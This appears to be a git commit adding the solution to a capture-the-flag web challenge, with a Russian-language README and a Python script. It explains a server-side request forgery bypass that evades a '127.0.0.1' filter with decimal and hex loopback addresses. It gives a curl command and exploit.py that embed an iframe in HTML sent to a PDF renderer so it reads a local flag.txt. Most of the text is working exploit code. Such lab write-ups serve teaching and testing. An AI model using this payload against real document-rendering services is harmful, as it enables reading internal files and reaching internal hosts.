Init. commit
This commit is contained in:
24
LockholdPortalGuard-Web/README.md
Normal file
24
LockholdPortalGuard-Web/README.md
Normal file
@@ -0,0 +1,24 @@
|
||||
# Web 1.2 Страж Портала Локхолда
|
||||
|
||||
В Портале Локхолда стоит Страж: он не пропускает запретные имена, но не знает истинных числовых титулов. Архимаг печатает свитки, и через печать можно заглянуть туда, куда запрещено смотреть.
|
||||
|
||||
## Решение
|
||||
|
||||
Фильтр блокирует строку `127.0.0.1`, но не все эквивалентные формы `loopback`-адреса. Если использовать числовое представление (`2130706433` или `0x7f000001`), проверка обходится, и рендерер открывает тот же локальный адрес.
|
||||
|
||||
Дальше всё стандартно: вставляем URL в `iframe` внутри HTML-свитка, отправляем контент на `/seal` и получаем PDF с содержимым `flag.txt`.
|
||||
|
||||
## Пример
|
||||
|
||||
Вариант через `curl`:
|
||||
```bash
|
||||
curl -s -X POST http://localhost:8000/seal \
|
||||
-F 'content=<h1>Королевский Указ</h1><iframe src="http://2130706433/flag.txt" style="width:800px;height:200px"></iframe>' \
|
||||
-F 'format=html' \
|
||||
-o scroll.pdf
|
||||
```
|
||||
|
||||
Также можно воспользоваться готовым скриптом `solve/exploit.py`:
|
||||
```bash
|
||||
python solve/exploit.py http://localhost:8000
|
||||
```
|
||||
27
LockholdPortalGuard-Web/exploit.py
Normal file
27
LockholdPortalGuard-Web/exploit.py
Normal file
@@ -0,0 +1,27 @@
|
||||
import sys
|
||||
import requests
|
||||
|
||||
|
||||
def main():
|
||||
base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000"
|
||||
payload = """
|
||||
<h1>Королевский Указ</h1>
|
||||
<p>Приложение: донесение из Локхолда</p>
|
||||
<iframe src="http://2130706433/flag.txt" style="width:800px;height:200px"></iframe>
|
||||
""".strip()
|
||||
|
||||
resp = requests.post(
|
||||
f"{base}/seal",
|
||||
data={"content": payload, "format": "html"},
|
||||
timeout=10,
|
||||
)
|
||||
resp.raise_for_status()
|
||||
|
||||
with open("scroll.pdf", "wb") as f:
|
||||
f.write(resp.content)
|
||||
|
||||
print("saved scroll.pdf")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user